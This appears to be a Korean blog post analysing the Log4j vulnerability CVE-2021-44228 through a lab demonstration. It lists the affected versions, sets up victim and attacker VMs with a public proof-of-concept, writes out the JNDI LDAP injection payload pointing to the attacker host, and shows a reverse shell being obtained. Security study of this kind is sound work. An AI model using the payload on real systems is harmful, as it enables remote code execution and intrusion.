Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

1. Log4j 동작 조건 및 영향 받는 버전

먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.

- log4j 버전이 2.0에서 2.14.1 사이
- JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전

2. 취약점 시연

아래 Github를 참고해 진행하였다.

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

2-1)  피해자 환경

Ubuntu 20.04
IP : 192.168.56.107

명령어

[캡쳐 1] 수행 명렁

해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.

* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).

[캡쳐 2] 웹 사이트 화면

2-2)  공격자 환경

Kali Linux
IP : 192.168.56.102
LDAP Port : 1389
Web Port : 8000
nc Port : 9001

명령어

[캡쳐 3] 수행 명령

JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.

* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드

[캡쳐 4] JDK 다운&압축해제

이후 리버스 쉘 생성과 poc를 실행한다.

[캡쳐 5] 리버스 쉘 생성 및 poc 실행

이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.

[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}

공격자 화면을 통해 확인하면 

1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며

2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.

* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).

[캡쳐 7] 공격자의 쉘 획득

2-3)  흐름도

위의 일련의 과정을 흐름도로 나타내면 다음과 같다.

[캡쳐 8] 흐름도

3. 취약점 원리

[캡쳐 9] 취약한 웹서버의 소스코드

[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로

log로 작성하기 때문에 취약점이 발생 가능 한 것이다.

 

 

 

 

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

+ Recent posts